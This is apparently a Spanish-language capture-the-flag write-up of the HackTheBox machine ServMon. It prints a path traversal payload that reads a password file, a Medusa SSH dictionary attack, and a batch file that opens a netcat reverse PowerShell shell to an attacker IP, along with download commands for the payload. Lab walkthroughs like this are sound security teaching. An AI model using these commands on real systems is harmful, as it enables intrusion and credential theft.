Después de algunas semanas de ausencia vuelvo con un nuevo WriteUp, en esta ocasión ServMon una máquina catalogada como fácil liberada el pasado abril y que el día de hoy será retirada. Me resulta curioso lo poco que se ha mantenido disponible. En fin, para resolver esta haremos uso de exploits públicos, personalizando las características de los mismos y conseguir el propósito, hacernos con las flags de usuario y administrador. A continuación la descripción técnicas.

Resumen:

  • Enumeración de puertos y servicios vía Nmap
  • Acceso al activo vía FTP y recopilación de pistas
  • Explotación de vulnerabilidad de Path Traversal
  • Obtención de usuario / Captura del fichero user.txt
  • Escalada de privilegios / Captura de fichero root.txt

Enumeración:

La enumeración de puertos y servicios la lanzamos a través de Nmap. Interesantes se muestran los primeros resultados (puertos 21, 22 y 80).

nmap -sS -sV -sC 10.10.10.184

Otros puertos hallados a través del mismo método son los siguientes:

Volviendo atrás observamos como el servicio FTP permite la autenticación anónima, aprovecharemos esto para “husmear” y buscar pistas en el contenido accesible.

ftp 10.10.10.184

Básicamente en este recurso identificaremos 2 directorios de usuarios (Nadine y Nathan) y un respectivo fichero de texto en cada uno de los directorios (Confidential.txt y Notes to do.txt).

dir
dir Users
dir Users/Nadine
dir Users/Nathan

El contenido de los ficheros de texto es:

cd Users/Nadine
get Confidential.txt
cd Users/Nathan
get "Notes to do.txt"
cat *.txt

En próximos pasos usaremos la pista que se muestra concretamente en el fichero Confidential.txt.

Obtención de usuario:

Por el lado del puerto 80, que cuenta con el servicio HTTP habilitado, observamos el siguiente aplicativo web:

A través del buscador Sploitus se logró localizar en Exploit-DB la siguiente PoC que aprovecha una vulnerabilidad Path Traversal en el aplicativo web en cuestión.

Fuente del exploit: https://www.exploit-db.com/exploits/47774

En primer lugar se ejecuta la PoC para validar el correcto funcionamiento y su aprovechamiento en el sistema NVMS-1000.

Luego, volviendo a la pista expuesta en el fichero Confidential.txt, se modela el “payload” y se consigue acceder al contenido del fichero Passwords.txt que se encuentra en el escritorio del usuario Nathan:

Payload del Path Traversal: /../../../../../../../../../../../../Users/Nathan/Desktop/Passwords.txt

Emplearemos este listado de contraseñas y junto a los dos usuarios localizados en el FTP, haremos un ataque de diccionario vía Medusa.

medusa -U Users.txt -P Passwords.txt -h 10.10.10.184 -M ssh

Lo siguiente será acceder vía SSH con las credenciales identificadas del usuario Nadine y hacernos con la flag del user.txt.

ssh Nadine@10.10.10.184
type Desktop\user.txt

Escalada de privilegios:

Ahora iremos con el otro servicio web que evidenciamos en el escaneo de Nmap, éste es el puerto 8443 (SSL/HTTPS). Al revisarlo con WhatWeb identificamos el sistema NSClient++.

whatweb -v https://10.10.10.184:8443/index.html

Acto seguido buscaremos exploits públicos para vulnerabilidades conocidas de este recurso. Logrando identificar uno bastante acorde que nos permitirá a través de su correcta explotación, la escalada de privilegios.

Fuente del exploit: https://0day.today/exploit/32660

Revisamos la versión concreta del servicio NSClient++.

cd C:\Program Files\NSClient++
nscp --version

Y nos hacemos con la credencial alojada en el fichero nsclient.ini a través de una se las siguiente opciones:

type nsclient.ini
nscp web -- password --display

Si pretendemos validar esta credencial en el aplicativo web de manera directa, obtendremos el siguiente mensaje, que nos sugerirá que debemos tomar una acción previa.

Dado que el fichero nsclient.ini tiene definido en el apartado “allowed hosts”, la dirección de localhost, haremos un reenvío de puertos vía SSH de la siguiente manera:

ssh -L 5000:127.0.0.1:8443 nadine@10.10.10.184

Ahora validamos el correcto acceso al recurso web con la credencial correspondiente.

https://127.0.0.1:5000/index.html

Volvemos al exploit de NSClient++ y continuamos con las instrucciones descritas.

En nuestro fichero bicho.bat definiremos la conexión a nuestra máquina atacante a través de Netcat.

@echo off
C:\Temp\nc64.exe 10.10.14.60 4422 -e powershell

Los ficheros implicados serán llevado al equipo víctima a través de Python (por ejemplo).

python -m SimpleHTTPServer
powershell wget "http://10.10.14.60:8000/bicho.bat" -outfile "bicho.bat"
powershell wget "http://10.10.14.60:8000/nc64.exe" -outfile "nc64.exe"

En el aplicativo web NSClient++ configuraremos el uso de nuestro fichero bicho.bat, especialmente diseñado.

Y lo programaremos para que se ejecute por cada minuto.

Ahora es tan solo necesario ponerse a la escucha por el puerto definido y esperar la terminal de PowerShell devuelta.

nc -lvnp 4422
whoami
type C:\Users\Administrator\Desktop\root.txt

Tal vez ServMon no ha sido una máquina exigente, sin embargo su orientación a CTF lo hizo bastante entretenida, en mi opinión.